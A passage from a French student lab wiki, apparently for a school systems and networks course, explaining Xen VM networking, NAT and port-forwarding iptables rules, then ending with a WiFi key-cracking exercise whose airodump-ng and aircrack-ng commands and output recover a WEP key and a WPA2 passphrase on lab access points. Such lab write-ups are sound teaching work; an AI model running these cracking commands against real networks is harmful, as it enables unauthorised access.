* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; Xen → aux interfaces &amp;lt;code&amp;gt;ethX&amp;lt;/code&amp;gt; dans la VM ===&lt;br /&gt;
&lt;br /&gt;
==== Côté Xen (Dom0) : tu déclares des VIF ====&lt;br /&gt;
Dans le fichier de config Xen de ta VM, tu as un truc du style :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Interprétation :'''&lt;br /&gt;
&lt;br /&gt;
* Tu crées '''2 cartes réseau virtuelles''' (2 VIF) pour la VM.&lt;br /&gt;
* Chaque VIF :&lt;br /&gt;
** a une '''MAC''' (pour l’identifier)&lt;br /&gt;
** est branchée sur un '''bridge''' Xen/Linux (un switch virtuel)&lt;br /&gt;
&lt;br /&gt;
Donc en mode “câblage” :&lt;br /&gt;
&lt;br /&gt;
* VIF #1 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
* VIF #2 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Dans la VM (DomU) : ces VIF apparaissent comme &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, … ====&lt;br /&gt;
Quand la VM boot :&lt;br /&gt;
&lt;br /&gt;
* Xen “présente” ces VIF à l’OS invité&lt;br /&gt;
* l’OS les voit comme des interfaces réseau classiques&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* '''la 1ère VIF''' devient &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''la 2ème VIF''' devient &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; ou des noms type &amp;lt;code&amp;gt;ens3&amp;lt;/code&amp;gt;), mais '''dans ton TP tu es bien sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;''', donc on garde ça.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
ip addr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Tu verras &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; et leurs MAC. Tu peux matcher avec celles du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Le bridge Xen = “le switch” auquel la carte est connectée ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=pont_Gercourt&amp;lt;/code&amp;gt; : réseau '''privé IPv4''' entre tes VMs (commutateur virtuel interne)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;) : réseau '''public / infra école / Internet'''&lt;br /&gt;
&lt;br /&gt;
Donc, si ta VM a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt; → elle est sur le réseau privé&lt;br /&gt;
* &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; → elle est sur le réseau public&lt;br /&gt;
&lt;br /&gt;
C’est exactement pour ça que dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; tu mets :&lt;br /&gt;
&lt;br /&gt;
* IPv4 privé sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* IPv6 (direct) sur &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que tu mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* tes machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si tu mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* tu forces l’utilisation d’un routeur précis&lt;br /&gt;
* tu perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
=== MASCARED D'IP ===&lt;br /&gt;
&lt;br /&gt;
=== Le problème ===&lt;br /&gt;
Tes VM de service sont en '''IPv4 privé''' (ex: &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Ces adresses '''ne sont pas routables sur Internet''' (elles n’existent pas “officiellement” sur le réseau public).&lt;br /&gt;
&lt;br /&gt;
Donc si une VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; envoie un paquet vers Internet (ex: &amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;), le monde extérieur ne peut pas répondre directement à &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → c’est une adresse privée.&lt;br /&gt;
&lt;br /&gt;
'''La solution : NAT sortant (Masquerade)'''&lt;br /&gt;
&lt;br /&gt;
La machine '''mandataire''' (Rosemonde dans mon cas) joue le rôle de '''gateway NAT''' :&lt;br /&gt;
&lt;br /&gt;
* '''En interne''' : les services parlent en &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''En externe''' : le mandataire remplace l’IP source par '''son IP publique''' (ex: &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc vu depuis Internet, tout semble venir de &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; :&amp;lt;blockquote&amp;gt;“Quand un paquet sort vers Internet depuis le réseau privé, réécris son IP source avec l’IP publique du mandataire.”&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
Le NAT n’est pas “juste une règle”. Ça marche avec un système d’état appelé '''conntrack''' (suivi de connexions).&lt;br /&gt;
&lt;br /&gt;
Exemple : la VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; fait un &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt; vers un serveur public &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La VM envoie :&lt;br /&gt;
&lt;br /&gt;
* source = &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
* destination = &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;&lt;br /&gt;
Le mandataire applique &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; en sortie (POSTROUTING) :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt; (port éventuellement modifié)&lt;br /&gt;
Le mandataire enregistre une “table de correspondance” (conntrack) :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt; ↔ &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;&lt;br /&gt;
Quand la réponse revient de &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt; vers &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;,  le mandataire “dé-NAT” automatiquement et renvoie vers :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le NAT permet à '''plusieurs machines privées''' de partager '''une seule IPv4 publique''' grâce à :&lt;br /&gt;
&lt;br /&gt;
* réécriture d’IP&lt;br /&gt;
* réécriture de ports (PAT)&lt;br /&gt;
* suivi d’état (conntrack)&lt;br /&gt;
&lt;br /&gt;
==== Lire un fichier iptables &amp;lt;code&amp;gt;/etc/iptables/rules.v4&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generated by iptables-save v1.8.9 (nf_tables) on Thu Jan 22 18:31:33 2026&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
COMMIT&lt;br /&gt;
# Completed on Thu Jan 22 18:31:33 2026&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
...&lt;br /&gt;
COMMIT&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Les chaînes (ultra important)'''&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : NAT fait ''avant'' que Linux décide où router le paquet  → typiquement '''DNAT''' (port forwarding)&lt;br /&gt;
* '''POSTROUTING''' : NAT fait ''juste avant'' que le paquet sorte sur une interface  → typiquement '''SNAT/MASQUERADE''' (NAT sortant)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ça veut dire :&lt;br /&gt;
&lt;br /&gt;
* Si quelqu’un sur Internet fait :&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → tu rediriges vers &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
&lt;br /&gt;
Donc tu exposes plusieurs SSH internes via '''un seul serveur public''', en jouant sur les ports.&lt;br /&gt;
&lt;br /&gt;
Note importante : DNAT ne suffit pas toujours tout seul : il faut aussi que le '''forwarding''' soit autorisé (et éventuellement règles &amp;lt;code&amp;gt;filter&amp;lt;/code&amp;gt; si tu as une politique restrictive). Dans ton cas, tu n’as montré que la table &amp;lt;code&amp;gt;nat&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Traduction :&lt;br /&gt;
&lt;br /&gt;
* Tout paquet qui '''sort''' et dont la source est dans &amp;lt;code&amp;gt;192.168.3.0/29&amp;lt;/code&amp;gt; verra son IP source remplacée par l’IP publique du mandataire.&lt;br /&gt;
* Pareil pour &amp;lt;code&amp;gt;10.60.0.0/16&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Autre amélioration très recommandée : préciser l’interface de sortie ===&lt;br /&gt;
Sans &amp;lt;code&amp;gt;-o eth1&amp;lt;/code&amp;gt;, tu peux NATer des flux que tu ne voulais pas NATer si tu as plusieurs sorties. La version “propre” :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/27 -o eth1 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Mais dans notre TP, il n'y pas besoin de ça&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12389</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12389"/>
		<updated>2026-02-25T14:51:49Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Cassage de clé WIFI */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
